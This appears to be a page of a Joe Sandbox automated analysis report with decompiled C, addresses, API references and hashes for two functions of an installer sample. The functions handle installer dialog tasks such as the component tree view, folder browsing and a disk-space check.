API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 153c9e6010363238f160c746c773255f4702a7c761463e895ee127b4dfd74375
Instruction ID: ecf959edf644124ae9a18d4fa2a520563b4821934e06b5e1f2851b0e4fc8d151
Opcode Fuzzy Hash: 153c9e6010363238f160c746c773255f4702a7c761463e895ee127b4dfd74375
Instruction Fuzzy Hash: FBA14870900208BFEB219FA1DD89AAE7F79FB08355F40407AFA05AA2A0C7755E41DF59

Uniqueness

Uniqueness Score: -1.00%

Function 004046F9, Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 478
windowmemoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E004046F9(struct HWND__* _a4, int _a8, unsigned int _a12, int _a16) {
				struct HWND__* _v8;
				struct HWND__* _v12;
				signed int _v16;
				intOrPtr _v20;
				void* _v24;
				long _v28;
				int _v32;
				signed int _v40;
				int _v44;
				signed int* _v56;
				intOrPtr _v60;
				signed int _v64;
				long _v68;
				void* _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				void* _v84;
				void* __ebx;
				void* __edi;
				void* __esi;
				struct HWND__* _t182;
				intOrPtr _t183;
				int _t189;
				int _t196;
				intOrPtr _t198;
				long _t202;
				signed int _t206;
				signed int _t217;
				void* _t220;
				void* _t221;
				int _t227;
				intOrPtr _t231;
				signed int _t232;
				signed int _t233;
				signed int _t240;
				signed int _t242;
				signed int _t245;
				signed int _t247;
				struct HBITMAP__* _t250;
				void* _t252;
				char* _t268;
				signed char _t269;
				long _t274;
				int _t280;
				signed int* _t281;
				int _t282;
				long _t283;
				signed int* _t284;
				int _t285;
				long _t286;
				signed int _t287;
				long _t288;
				signed int _t291;
				int _t294;
				signed int _t298;
				signed int _t300;
				signed int _t302;
				intOrPtr _t309;
				int* _t310;
				void* _t311;
				int _t315;
				int _t316;
				int _t317;
				signed int _t318;
				void* _t320;
				void* _t328;
				void* _t331;

				_v12 = GetDlgItem(_a4, 0x3f9);
				_t182 = GetDlgItem(_a4, 0x408);
				_t280 =  *0x42eb88; // 0x24c638c
				_t320 = SendMessageA;
				_v8 = _t182;
				_t183 =  *0x42eb70; // 0x24c6020
				_t315 = 0;
				_v32 = _t280;
				_v20 = _t183 + 0x94;
				if(_a8 != 0x110) {
					L23:
					__eflags = _a8 - 0x405;
					if(_a8 != 0x405) {
						_t289 = _a16;
					} else {
						_a12 = _t315;
						_t289 = 1;
						_a8 = 0x40f;
						_a16 = 1;
					}
					__eflags = _a8 - 0x4e;
					if(_a8 == 0x4e) {
						L28:
						__eflags = _a8 - 0x413;
						_v16 = _t289;
						if(_a8 == 0x413) {
							L30:
							__eflags =  *0x42eb79 & 0x00000002;
							if(( *0x42eb79 & 0x00000002) != 0) {
								L41:
								__eflags = _v16 - _t315;
								if(_v16 != _t315) {
									_t232 = _v16;
									__eflags =  *((intOrPtr*)(_t232 + 8)) - 0xfffffe6e;
									if( *((intOrPtr*)(_t232 + 8)) == 0xfffffe6e) {
										SendMessageA(_v8, 0x419, _t315,  *(_t232 + 0x5c));
									}
									_t233 = _v16;
									__eflags =  *((intOrPtr*)(_t233 + 8)) - 0xfffffe6a;
									if( *((intOrPtr*)(_t233 + 8)) == 0xfffffe6a) {
										__eflags =  *((intOrPtr*)(_t233 + 0xc)) - 2;
										if( *((intOrPtr*)(_t233 + 0xc)) != 2) {
											_t284 =  *(_t233 + 0x5c) * 0x418 + _t280 + 8;
											 *_t284 =  *_t284 & 0xffffffdf;
											__eflags =  *_t284;
										} else {
											 *( *(_t233 + 0x5c) * 0x418 + _t280 + 8) =  *( *(_t233 + 0x5c) * 0x418 + _t280 + 8) | 0x00000020;
										}
									}
								}
								goto L48;
							}
							__eflags = _a8 - 0x413;
							if(_a8 == 0x413) {
								L33:
								__eflags = _a8 - 0x413;
								_t289 = 0 | _a8 != 0x00000413;
								_t240 = E00404679(_v8, _a8 != 0x413);
								__eflags = _t240 - _t315;
								if(_t240 >= _t315) {
									_t93 = _t280 + 8; // 0x8
									_t310 = _t240 * 0x418 + _t93;
									_t289 =  *_t310;
									__eflags = _t289 & 0x00000010;
									if((_t289 & 0x00000010) == 0) {
										__eflags = _t289 & 0x00000040;
										if((_t289 & 0x00000040) == 0) {
											_t298 = _t289 ^ 0x00000001;
											__eflags = _t298;
										} else {
											_t300 = _t289 ^ 0x00000080;
											__eflags = _t300;
											if(_t300 >= 0) {
												_t298 = _t300 & 0xfffffffe;
											} else {
												_t298 = _t300 | 0x00000001;
											}
										}
										 *_t310 = _t298;
										E0040117D(_t240);
										_t242 =  *0x42eb78; // 0x80
										_t289 = 1;
										_a8 = 0x40f;
										_t245 =  !_t242 >> 0x00000008 & 1;
										__eflags = _t245;
										_a12 = 1;
										_a16 = _t245;
									}
								}
								goto L41;
							}
							_t289 = _a16;
							__eflags =  *((intOrPtr*)(_t289 + 8)) - 0xfffffffe;
							if( *((intOrPtr*)(_t289 + 8)) != 0xfffffffe) {
								goto L41;
							}
							goto L33;
						}
						__eflags =  *((intOrPtr*)(_t289 + 4)) - 0x408;
						if( *((intOrPtr*)(_t289 + 4)) != 0x408) {
							goto L48;
						}
						goto L30;
					} else {
						__eflags = _a8 - 0x413;
						if(_a8 != 0x413) {
							L48:
							__eflags = _a8 - 0x111;
							if(_a8 != 0x111) {
								L56:
								__eflags = _a8 - 0x200;
								if(_a8 == 0x200) {
									SendMessageA(_v8, 0x200, _t315, _t315);
								}
								__eflags = _a8 - 0x40b;
								if(_a8 == 0x40b) {
									_t220 =  *0x429fbc;
									__eflags = _t220 - _t315;
									if(_t220 != _t315) {
										ImageList_Destroy(_t220);
									}
									_t221 =  *0x429fd4;
									__eflags = _t221 - _t315;
									if(_t221 != _t315) {
										GlobalFree(_t221);
									}
									 *0x429fbc = _t315;
									 *0x429fd4 = _t315;
									 *0x42ebc0 = _t315;
								}
								__eflags = _a8 - 0x40f;
								if(_a8 != 0x40f) {
									L86:
									__eflags = _a8 - 0x420;
									if(_a8 == 0x420) {
										__eflags =  *0x42eb79 & 0x00000001;
										if(( *0x42eb79 & 0x00000001) != 0) {
											__eflags = _a16 - 0x20;
											_t189 = (0 | _a16 == 0x00000020) << 3;
											__eflags = _t189;
											_t316 = _t189;
											ShowWindow(_v8, _t316);
											ShowWindow(GetDlgItem(_a4, 0x3fe), _t316);
										}
									}
									goto L89;
								} else {
									E004011EF(_t289, _t315, _t315);
									__eflags = _a12 - _t315;
									if(_a12 != _t315) {
										E0040140B(8);
									}
									__eflags = _a16 - _t315;
									if(_a16 == _t315) {
										L73:
										E004011EF(_t289, _t315, _t315);
										__eflags =  *0x42eb8c - _t315; // 0x1
										_v32 =  *0x429fd4;
										_t196 =  *0x42eb88; // 0x24c638c
										_v60 = 0xf030;
										_v16 = _t315;
										if(__eflags <= 0) {
											L84:
											InvalidateRect(_v8, _t315, 1);
											_t198 =  *0x42e33c; // 0x25612f9
											__eflags =  *((intOrPtr*)(_t198 + 0x10)) - _t315;
											if( *((intOrPtr*)(_t198 + 0x10)) != _t315) {
												E00404597(0x3ff, 0xfffffffb, E0040464C(5));
											}
											goto L86;
										} else {
											_t142 = _t196 + 8; // 0x24c6394
											_t281 = _t142;
											do {
												_t202 =  *((intOrPtr*)(_v32 + _v16 * 4));
												__eflags = _t202 - _t315;
												if(_t202 != _t315) {
													_t291 =  *_t281;
													_v68 = _t202;
													__eflags = _t291 & 0x00000001;
													_v72 = 8;
													if((_t291 & 0x00000001) != 0) {
														_t151 =  &(_t281[4]); // 0x24c63a4
														_v72 = 9;
														_v56 = _t151;
														_t154 =  &(_t281[0]);
														 *_t154 = _t281[0] & 0x000000fe;
														__eflags =  *_t154;
													}
													__eflags = _t291 & 0x00000040;
													if((_t291 & 0x00000040) == 0) {
														_t206 = (_t291 & 0x00000001) + 1;
														__eflags = _t291 & 0x00000010;
														if((_t291 & 0x00000010) != 0) {
															_t206 = _t206 + 3;
															__eflags = _t206;
														}
													} else {
														_t206 = 3;
													}
													_t294 = (_t291 >> 0x00000005 & 0x00000001) + 1;
													__eflags = _t294;
													_v64 = (_t206 << 0x0000000b | _t291 & 0x00000008) + (_t206 << 0x0000000b | _t291 & 0x00000008) | _t291 & 0x00000020;
													SendMessageA(_v8, 0x1102, _t294, _v68);
													SendMessageA(_v8, 0x110d, _t315,  &_v72);
												}
												_v16 = _v16 + 1;
												_t281 =  &(_t281[0x106]);
												__eflags = _v16 -  *0x42eb8c; // 0x1
											} while (__eflags < 0);
											goto L84;
										}
									} else {
										_t282 = E004012E2( *0x429fd4);
										E00401299(_t282);
										_t217 = 0;
										_t289 = 0;
										__eflags = _t282 - _t315;
										if(_t282 <= _t315) {
											L72:
											SendMessageA(_v12, 0x14e, _t289, _t315);
											_a16 = _t282;
											_a8 = 0x420;
											goto L73;
										} else {
											goto L69;
										}
										do {
											L69:
											_t309 = _v20;
											__eflags =  *((intOrPtr*)(_t309 + _t217 * 4)) - _t315;
											if( *((intOrPtr*)(_t309 + _t217 * 4)) != _t315) {
												_t289 = _t289 + 1;
												__eflags = _t289;
											}
											_t217 = _t217 + 1;
											__eflags = _t217 - _t282;
										} while (_t217 < _t282);
										goto L72;
									}
								}
							}
							__eflags = _a12 - 0x3f9;
							if(_a12 != 0x3f9) {
								goto L89;
							}
							__eflags = _a12 >> 0x10 - 1;
							if(_a12 >> 0x10 != 1) {
								goto L89;
							}
							_t227 = SendMessageA(_v12, 0x147, _t315, _t315);
							__eflags = _t227 - 0xffffffff;
							if(_t227 == 0xffffffff) {
								goto L89;
							}
							_t283 = SendMessageA(_v12, 0x150, _t227, _t315);
							__eflags = _t283 - 0xffffffff;
							if(_t283 == 0xffffffff) {
								L54:
								_t283 = 0x20;
								L55:
								E00401299(_t283);
								SendMessageA(_a4, 0x420, _t315, _t283);
								_a12 = 1;
								_a16 = _t315;
								_a8 = 0x40f;
								goto L56;
							}
							_t231 = _v20;
							__eflags =  *((intOrPtr*)(_t231 + _t283 * 4)) - _t315;
							if( *((intOrPtr*)(_t231 + _t283 * 4)) != _t315) {
								goto L55;
							}
							goto L54;
						}
						goto L28;
					}
				} else {
					 *0x42ebc0 = _a4;
					_t247 =  *0x42eb8c; // 0x1
					_t285 = 2;
					_v28 = 0;
					_v16 = _t285;
					 *0x429fd4 = GlobalAlloc(0x40, _t247 << 2);
					_t250 = LoadBitmapA( *0x42eb60, 0x6e);
					 *0x429fc8 =  *0x429fc8 | 0xffffffff;
					_v24 = _t250;
					 *0x429fd0 = SetWindowLongA(_v8, 0xfffffffc, E00404CFA);
					_t252 = ImageList_Create(0x10, 0x10, 0x21, 6, 0);
					 *0x429fbc = _t252;
					ImageList_AddMasked(_t252, _v24, 0xff00ff);
					SendMessageA(_v8, 0x1109, _t285,  *0x429fbc);
					if(SendMessageA(_v8, 0x111c, 0, 0) < 0x10) {
						SendMessageA(_v8, 0x111b, 0x10, 0);
					}
					DeleteObject(_v24);
					_t286 = 0;
					do {
						_t258 =  *((intOrPtr*)(_v20 + _t286 * 4));
						if( *((intOrPtr*)(_v20 + _t286 * 4)) != _t315) {
							if(_t286 != 0x20) {
								_v16 = _t315;
							}
							SendMessageA(_v12, 0x151, SendMessageA(_v12, 0x143, _t315, E00405A2E(_t286, _t315, _t320, _t315, _t258)), _t286);
						}
						_t286 = _t286 + 1;
					} while (_t286 < 0x21);
					_t317 = _a16;
					_t287 = _v16;
					_push( *((intOrPtr*)(_t317 + 0x30 + _t287 * 4)));
					_push(0x15);
					E00403DBE(_a4);
					_push( *((intOrPtr*)(_t317 + 0x34 + _t287 * 4)));
					_push(0x16);
					E00403DBE(_a4);
					_t318 = 0;
					_t288 = 0;
					_t328 =  *0x42eb8c - _t318; // 0x1
					if(_t328 <= 0) {
						L19:
						SetWindowLongA(_v8, 0xfffffff0, GetWindowLongA(_v8, 0xfffffff0) & 0x000000fb);
						goto L20;
					} else {
						_t311 = _v32 + 8;
						_v24 = _t311;
						do {
							_t268 = _t311 + 0x10;
							if( *_t268 != 0) {
								_v60 = _t268;
								_t269 =  *_t311;
								_t302 = 0x20;
								_v84 = _t288;
								_v80 = 0xffff0002;
								_v76 = 0xd;
								_v64 = _t302;
								_v40 = _t318;
								_v68 = _t269 & _t302;
								if((_t269 & 0x00000002) == 0) {
									__eflags = _t269 & 0x00000004;
									if((_t269 & 0x00000004) == 0) {
										 *( *0x429fd4 + _t318 * 4) = SendMessageA(_v8, 0x1100, 0,  &_v84);
									} else {
										_t288 = SendMessageA(_v8, 0x110a, 3, _t288);
									}
								} else {
									_v76 = 0x4d;
									_v44 = 1;
									_t274 = SendMessageA(_v8, 0x1100, 0,  &_v84);
									_v28 = 1;
									 *( *0x429fd4 + _t318 * 4) = _t274;
									_t288 =  *( *0x429fd4 + _t318 * 4);
								}
							}
							_t318 = _t318 + 1;
							_t311 = _v24 + 0x418;
							_t331 = _t318 -  *0x42eb8c; // 0x1
							_v24 = _t311;
						} while (_t331 < 0);
						if(_v28 != 0) {
							L20:
							if(_v16 != 0) {
								E00403DF3(_v8);
								_t280 = _v32;
								_t315 = 0;
								__eflags = 0;
								goto L23;
							} else {
								ShowWindow(_v12, 5);
								E00403DF3(_v12);
								L89:
								return E00403E25(_a8, _a12, _a16);
							}
						}
						goto L19;
					}
				}
			}

0x00404717
0x0040471d
0x0040471f
0x00404725
0x0040472b
0x0040472e
0x00404738
0x00404741
0x00404744
0x00404747
0x0040496f
0x0040496f
0x00404976
0x0040498a
0x00404978
0x0040497a
0x0040497d
0x0040497e
0x00404985
0x00404985
0x0040498d
0x00404996
0x004049a1
0x004049a1
0x004049a4
0x004049a7
0x004049b6
0x004049b6
0x004049bd
0x00404a35
0x00404a35
0x00404a38
0x00404a3a
0x00404a3d
0x00404a44
0x00404a52
0x00404a52
0x00404a54
0x00404a57
0x00404a5e
0x00404a60
0x00404a64
0x00404a81
0x00404a85
0x00404a85
0x00404a66
0x00404a73
0x00404a73
0x00404a64
0x00404a5e
0x00000000
0x00404a38
0x004049bf
0x004049c2
0x004049cd
0x004049cf
0x004049d2
0x004049d9
0x004049de
0x004049e0
0x004049ea
0x004049ea
0x004049ee
0x004049f0
0x004049f3
0x004049f5
0x004049f8
0x00404a0e
0x00404a0e
0x004049fa
0x004049fa
0x00404a00
0x00404a02
0x00404a09
0x00404a04
0x00404a04
0x00404a04
0x00404a02
0x00404a12
0x00404a14
0x00404a19
0x00404a22
0x00404a23
0x00404a2d
0x00404a2d
0x00404a2f
0x00404a32
0x00404a32
0x004049f3
0x00000000
0x004049e0
0x004049c4
0x004049c7
0x004049cb
0x00000000
0x00000000
0x00000000
0x004049cb
0x004049a9
0x004049b0
0x00000000
0x00000000
0x00000000
0x00404998
0x00404998
0x0040499b
0x00404a88
0x00404a88
0x00404a8f
0x00404b03
0x00404b03
0x00404b0a
0x00404b16
0x00404b16
0x00404b18
0x00404b1f
0x00404b21
0x00404b26
0x00404b28
0x00404b2b
0x00404b2b
0x00404b31
0x00404b36
0x00404b38
0x00404b3b
0x00404b3b
0x00404b41
0x00404b47
0x00404b4d
0x00404b4d
0x00404b53
0x00404b5a
0x00404ca7
0x00404ca7
0x00404cae
0x00404cb0
0x00404cb7
0x00404cbb
0x00404cc8
0x00404cc8
0x00404ccb
0x00404cd1
0x00404ce3
0x00404ce3
0x00404cb7
0x00000000
0x00404b60
0x00404b62
0x00404b67
0x00404b6a
0x00404b6e
0x00404b6e
0x00404b73
0x00404b76
0x00404bb7
0x00404bb9
0x00404bc3
0x00404bc9
0x00404bcc
0x00404bd1
0x00404bd8
0x00404bdb
0x00404c7d
0x00404c83
0x00404c89
0x00404c8e
0x00404c91
0x00404ca2
0x00404ca2
0x00000000
0x00404be1
0x00404be1
0x00404be1
0x00404be4
0x00404bea
0x00404bed
0x00404bef
0x00404bf1
0x00404bf3
0x00404bf6
0x00404bf9
0x00404c00
0x00404c02
0x00404c05
0x00404c0c
0x00404c0f
0x00404c0f
0x00404c0f
0x00404c0f
0x00404c13
0x00404c16
0x00404c22
0x00404c23
0x00404c26
0x00404c28
0x00404c28
0x00404c28
0x00404c18
0x00404c1a
0x00404c1a
0x00404c47
0x00404c47
0x00404c48
0x00404c54
0x00404c63
0x00404c63
0x00404c65
0x00404c68
0x00404c71
0x00404c71
0x00000000
0x00404be4
0x00404b78
0x00404b83
0x00404b86
0x00404b8b
0x00404b8d
0x00404b8f
0x00404b91
0x00404ba1
0x00404bab
0x00404bad
0x00404bb0
0x00000000
0x00000000
0x00000000
0x00000000
0x00404b93
0x00404b93
0x00404b93
0x00404b96
0x00404b99
0x00404b9b
0x00404b9b
0x00404b9b
0x00404b9c
0x00404b9d
0x00404b9d
0x00000000
0x00404b93
0x00404b76
0x00404b5a
0x00404a91
0x00404a97
0x00000000
0x00000000
0x00404aa3
0x00404aa7
0x00000000
0x00000000
0x00404ab7
0x00404ab9
0x00404abc
0x00000000
0x00000000
0x00404ace
0x00404ad0
0x00404ad3
0x00404add
0x00404adf
0x00404ae0
0x00404ae1
0x00404af0
0x00404af2
0x00404af9
0x00404afc
0x00000000
0x00404afc
0x00404ad5
0x00404ad8
0x00404adb
0x00000000
0x00000000
0x00000000
0x00404adb
0x00000000
0x0040499b
0x0040474d
0x00404752
0x00404757
0x0040475c
0x0040475d
0x00404766
0x00404771
0x0040477c
0x00404782
0x00404790
0x004047a5
0x004047aa
0x004047b5
0x004047be
0x004047d3
0x004047e4
0x004047f1
0x004047f1
0x004047f6
0x004047fc
0x004047fe
0x00404801
0x00404806
0x0040480b
0x0040480d
0x0040480d
0x0040482d
0x0040482d
0x0040482f
0x00404830
0x00404835
0x00404838
0x0040483b
0x0040483f
0x00404844
0x00404849
0x0040484d
0x00404852
0x00404857
0x00404859
0x0040485b
0x00404861
0x0040492b
0x0040493e
0x00000000
0x00404867
0x0040486a
0x0040486d
0x00404870
0x00404870
0x00404876
0x0040487c
0x0040487f
0x00404885
0x00404886
0x0040488b
0x00404894
0x0040489b
0x0040489e
0x004048a1
0x004048a4
0x004048de
0x004048e0
0x00404909
0x004048e2
0x004048ef
0x004048ef
0x004048a6
0x004048a9
0x004048b8
0x004048c2
0x004048ca
0x004048d1
0x004048d9
0x004048d9
0x004048a4
0x0040490f
0x00404910
0x00404916
0x0040491c
0x0040491c
0x00404929
0x00404944
0x00404948
0x00404965
0x0040496a
0x0040496d
0x0040496d
0x00000000
0x0040494a
0x0040494f
0x00404958
0x00404ce5
0x00404cf7
0x00404cf7
0x00404948
0x00000000
0x00404929
0x00404861

APIs

GetDlgItem.USER32 ref: 00404710
GetDlgItem.USER32 ref: 0040471D
GlobalAlloc.KERNEL32(00000040,00000001), ref: 00404769
LoadBitmapA.USER32 ref: 0040477C
SetWindowLongA.USER32 ref: 00404796
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 004047AA
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 004047BE
SendMessageA.USER32(?,00001109,00000002), ref: 004047D3
SendMessageA.USER32(?,0000111C,00000000,00000000), ref: 004047DF
SendMessageA.USER32(?,0000111B,00000010,00000000), ref: 004047F1
DeleteObject.GDI32 ref: 004047F6
SendMessageA.USER32(?,00000143,00000000,00000000), ref: 00404821
SendMessageA.USER32(?,00000151,00000000,00000000), ref: 0040482D
SendMessageA.USER32(?,00001100,00000000,?), ref: 004048C2
SendMessageA.USER32(?,0000110A,00000003,00000000), ref: 004048ED
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404901
GetWindowLongA.USER32 ref: 00404930
SetWindowLongA.USER32 ref: 0040493E
ShowWindow.USER32(?,00000005), ref: 0040494F
SendMessageA.USER32(?,00000419,00000000,?), ref: 00404A52
SendMessageA.USER32(?,00000147,00000000,00000000), ref: 00404AB7
SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00404ACC
SendMessageA.USER32(?,00000420,00000000,00000020), ref: 00404AF0
SendMessageA.USER32(?,00000200,00000000,00000000), ref: 00404B16
ImageList_Destroy.COMCTL32(?), ref: 00404B2B
GlobalFree.KERNEL32 ref: 00404B3B
SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00404BAB
SendMessageA.USER32(?,00001102,00000410,?), ref: 00404C54
SendMessageA.USER32(?,0000110D,00000000,00000008), ref: 00404C63
InvalidateRect.USER32(?,00000000,00000001), ref: 00404C83
ShowWindow.USER32(?,00000000), ref: 00404CD1
GetDlgItem.USER32 ref: 00404CDC
ShowWindow.USER32(00000000), ref: 00404CE3

Strings

, xrefs: 00404CBB
M, xrefs: 004048A9
N, xrefs: 0040498D

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 891e731a8221ae253933017c2eccba6e957e132fc7a2eea92a41face644f869f
Instruction ID: 30a51c26aaa2b30bd696497e7e47c5adc9155ce2862f65cc436e234c57937e2f
Opcode Fuzzy Hash: 891e731a8221ae253933017c2eccba6e957e132fc7a2eea92a41face644f869f
Instruction Fuzzy Hash: D402AFB0A00208AFDB20DF55DD45AAE7BB5FB84314F10817AF611BA2E1D7799E42CF58

Uniqueness

Uniqueness Score: -1.00%

Function 004041FC, Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 266
stringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E004041FC(struct HWND__* _a4, signed int _a8, unsigned int _a12, intOrPtr _a16) {
				signed int _v8;
				struct HWND__* _v12;
				long _v16;
				long _v20;
				char _v24;
				long _v28;
				char _v32;
				intOrPtr _v36;
				long _v40;
				signed int _v44;
				CHAR* _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				CHAR* _v68;
				void _v72;
				char _v76;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t81;
				long _t86;
				signed char* _t88;
				void* _t94;
				signed int _t95;
				signed short _t113;
				signed int _t117;
				char* _t122;
				intOrPtr _t124;
				intOrPtr* _t138;
				signed int* _t145;
				intOrPtr _t147;
				signed int _t148;
				signed int _t153;
				struct HWND__* _t159;
				CHAR* _t162;
				int _t163;

				_t81 =  *0x4297b0;
				_v36 = _t81;
				_t162 = ( *(_t81 + 0x3c) << 0xa) + 0x42f000;
				_v8 =  *((intOrPtr*)(_t81 + 0x38));
				if(_a8 == 0x40b) {
					E004052B1(0x3fb, _t162);
					E00405C6E(_t162);
				}
				if(_a8 != 0x110) {
					L8:
					if(_a8 != 0x111) {
						L20:
						if(_a8 == 0x40f) {
							L22:
							_v8 = _v8 & 0x00000000;
							_v12 = _v12 & 0x00000000;
							E004052B1(0x3fb, _t162);
							if(E004055E0(_t180, _t162) == 0) {
								_v8 = 1;
							}
							E00405A0C(0x428fa8, _t162);
							_t145 = 0;
							_t86 = E00405D2E(0);
							_v16 = _t86;
							if(_t86 == 0) {
								L31:
								E00405A0C(0x428fa8, _t162);
								_t88 = E00405593(0x428fa8);
								if(_t88 != _t145) {
									 *_t88 =  *_t88 & 0x00000000;
								}
								if(GetDiskFreeSpaceA(0x428fa8,  &_v20,  &_v28,  &_v16,  &_v40) == 0) {
									_t153 = _a8;
									goto L37;
								} else {
									_t163 = 0x400;
									_t153 = MulDiv(_v20 * _v28, _v16, 0x400);
									_v12 = 1;
									goto L38;
								}
							} else {
								if(0 == 0x428fa8) {
									L30:
									_t145 = 0;
									goto L31;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t113 = _v16(0x428fa8,  &_v44,  &_v24,  &_v32);
									if(_t113 != 0) {
										break;
									}
									if(_t145 != 0) {
										 *_t145 =  *_t145 & _t113;
									}
									_t145 = E00405546(0x428fa8) - 1;
									 *_t145 = 0x5c;
									if(_t145 != 0x428fa8) {
										continue;
									} else {
										goto L30;
									}
								}
								_t153 = (_v40 << 0x00000020 | _v44) >> 0xa;
								_v12 = 1;
								_t145 = 0;
								L37:
								_t163 = 0x400;
								L38:
								_t94 = E0040464C(5);
								if(_v12 != _t145 && _t153 < _t94) {
									_v8 = 2;
								}
								_t147 =  *0x42e33c; // 0x25612f9
								if( *((intOrPtr*)(_t147 + 0x10)) != _t145) {
									E00404597(0x3ff, 0xfffffffb, _t94);
									if(_v12 == _t145) {
										SetDlgItemTextA(_a4, _t163, 0x428f98);
									} else {
										E00404597(_t163, 0xfffffffc, _t153);
									}
								}
								_t95 = _v8;
								 *0x42ec04 = _t95;
								if(_t95 == _t145) {
									_v8 = E0040140B(7);
								}
								if(( *(_v36 + 0x14) & _t163) != 0) {
									_v8 = _t145;
								}
								E00403DE0(0 | _v8 == _t145);
								if(_v8 == _t145 &&  *0x429fcc == _t145) {
									E00404191();
								}
								 *0x429fcc = _t145;
								goto L53;
							}
						}
						_t180 = _a8 - 0x405;
						if(_a8 != 0x405) {
							goto L53;
						}
						goto L22;
					}
					_t117 = _a12 & 0x0000ffff;
					if(_t117 != 0x3fb) {
						L12:
						if(_t117 == 0x3e9) {
							_t148 = 7;
							memset( &_v72, 0, _t148 << 2);
							_v76 = _a4;
							_v68 = 0x429fe0;
							_v56 = E00404531;
							_v52 = _t162;
							_v64 = E00405A2E(0x3fb, 0x429fe0, _t162, 0x4293b0, _v8);
							_t122 =  &_v76;
							_v60 = 0x41;
							__imp__SHBrowseForFolderA(_t122);
							if(_t122 == 0) {
								_a8 = 0x40f;
							} else {
								__imp__CoTaskMemFree(_t122);
								E004054FF(_t162);
								_t124 =  *0x42eb70; // 0x24c6020
								_t125 =  *((intOrPtr*)(_t124 + 0x11c));
								if( *((intOrPtr*)(_t124 + 0x11c)) != 0 && _t162 == "C:\\Users\\alfons\\AppData\\Local\\") {
									E00405A2E(0x3fb, 0x429fe0, _t162, 0, _t125);
									if(lstrcmpiA(0x42db00, 0x429fe0) != 0) {
										lstrcatA(_t162, 0x42db00);
									}
								}
								 *0x429fcc =  &(( *0x429fcc)[0]);
								SetDlgItemTextA(_a4, 0x3fb, _t162);
							}
						}
						goto L20;
					}
					if(_a12 >> 0x10 != 0x300) {
						goto L53;
					}
					_a8 = 0x40f;
					goto L12;
				} else {
					_t159 = _a4;
					_v12 = GetDlgItem(_t159, 0x3fb);
					if(E0040556C(_t162) != 0 && E00405593(_t162) == 0) {
						E004054FF(_t162);
					}
					 *0x42e338 = _t159;
					SetWindowTextA(_v12, _t162);
					_push( *((intOrPtr*)(_a16 + 0x34)));
					_push(1);
					E00403DBE(_t159);
					_push( *((intOrPtr*)(_a16 + 0x30)));
					_push(0x14);
					E00403DBE(_t159);
					E00403DF3(_v12);
					_t138 = E00405D2E(7);
					if(_t138 == 0) {
						L53:
						return E00403E25(_a8, _a12, _a16);
					}
					 *_t138(_v12, 1);
					goto L8;
				}
			}

0x00404202
0x00404209
0x00404215
0x00404223
0x0040422b
0x0040422f
0x00404235
0x00404235
0x00404241
0x004042b5
0x004042bc
0x00404391
0x00404398
0x004043a7
0x004043a7
0x004043ab
0x004043b1
0x004043be
0x004043c0
0x004043c0
0x004043ce
0x004043d3
0x004043d6
0x004043dd
0x004043e0
0x00404417
0x00404419
0x0040441f
0x00404426
0x00404428
0x00404428
0x00404444
0x00404480
0x00000000
0x00404446
0x00404449
0x0040445d
0x0040445f
0x00000000
0x0040445f
0x004043e2
0x004043e6
0x00404415
0x00404415
0x00000000
0x00000000
0x00000000
0x00000000
0x004043e8
0x004043e8
0x004043f5
0x004043fa
0x00000000
0x00000000
0x004043fe
0x00404400
0x00404400
0x0040440b
0x0040440e
0x00404413
0x00000000
0x00000000
0x00000000
0x00000000
0x00404413
0x0040446e
0x00404475
0x0040447c
0x00404483
0x00404483
0x00404488
0x0040448a
0x00404492
0x00404498
0x00404498
0x0040449f
0x004044a8
0x004044b2
0x004044ba
0x004044d0
0x004044bc
0x004044c0
0x004044c0
0x004044ba
0x004044d5
0x004044da
0x004044df
0x004044e8
0x004044e8
0x004044f1
0x004044f3
0x004044f3
0x004044ff
0x00404507
0x00404511
0x00404511
0x00404516
0x00000000
0x00404516
0x004043e0
0x0040439a
0x004043a1
0x00000000
0x00000000
0x00000000
0x004043a1
0x004042c2
0x004042c8
0x004042e2
0x004042e7
0x004042f1
0x004042f8
0x00404307
0x0040430a
0x0040430d
0x00404314
0x0040431c
